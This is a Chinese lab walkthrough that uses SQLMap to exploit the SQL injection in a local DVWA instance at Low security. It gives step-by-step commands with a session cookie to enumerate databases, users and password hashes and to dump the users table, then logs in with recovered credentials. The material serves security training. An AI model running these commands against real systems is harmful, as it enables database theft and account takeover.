DVWA之SQL Injection--SQLMap测试(Low)

目录结构

一、测试需求分析
二、SQLMap利用SQL注入漏洞,获取数据库信息
    1.判断是否存在注入点
    2.获取DBMS中所有的数据库名称
    3.获取Web应用当前连接的数据库
    4.列出数据库中的所有用户
    5.获取Web应用当前所操作的用户
    6.列出可连接数据库的所有账户-对应的密码哈希
    7.列出指定数据库中的所有数据表
    8.列出指定数据表中的所有字段(列)
    9.导出指定数据表中的列字段进行保存
    10.根据导出的数据,验证数据有效性


一、测试需求分析

测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能
防御等级:Low
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:SQLMap自动化工具

其前已经总结过SQLMap工具检测SQL注入漏洞的实践操作(SQLMap工具检测SQL注入漏洞、获取数据库中的数据),但当时是以未登录的身份直接可以获取并检测url场景,而本文则是针对需要登录之后才能获取到带参的被测url地址进行检测的应用场景。

二、SQLMap利用SQL注入漏洞,获取数据库信息

登录dvwa系统(admin--password),输入任意User ID进行提交,然后即可获取到提交时的url,此url可通过浏览器F12查看获取,也可通过抓包or拦截工具获取(如:Fiddler、BurpSuite)
Request URL: http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

DVWA之SQL Injection--SQLMap测试(Low)_第1张图片

1.判断是否存在注入点

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch

DVWA之SQL Injection--SQLMap测试(Low)_第2张图片

直接对登录后获取的url进行检测,会302重定向跳转到登录时的url,说明检测的url需要带有登录权限才能验证,即SQLMap检测命令中需要带上登录dvwa后维持与服务器连接的cookie信息。

重新调整SQLMap检测命令,如下:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch

DVWA之SQL Injection--SQLMap测试(Low)_第3张图片

2.获取DBMS中所有的数据库名称

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --dbs

DVWA之SQL Injection--SQLMap测试(Low)_第4张图片

3.获取Web应用当前连接的数据库

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-db

4.列出数据库中的所有用户

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --users

DVWA之SQL Injection--SQLMap测试(Low)_第5张图片

5.获取Web应用当前所操作的用户

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-user

6.列出可连接数据库的所有账户-对应的密码哈希

此处列出的是连接数据库的账户信息
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --passwords

DVWA之SQL Injection--SQLMap测试(Low)_第6张图片

7.列出指定数据库中的所有数据表

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa --tables

DVWA之SQL Injection--SQLMap测试(Low)_第7张图片

8.列出指定数据表中的所有字段(列)

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users --columns

DVWA之SQL Injection--SQLMap测试(Low)_第8张图片

9.导出指定数据表中的列字段进行保存

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users -C "user,password" --dump

DVWA之SQL Injection--SQLMap测试(Low)_第9张图片

10.根据导出的数据,验证数据有效性

user password
1337 charley
admin password
gordonb abc123
pablo letmein
smithy password

从以上导出的user---password组合中任取一组,回到前端登录界面进行验证

登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein

登录成功

你可能感兴趣的:(DVWA之SQL Injection--SQLMap测试(Low))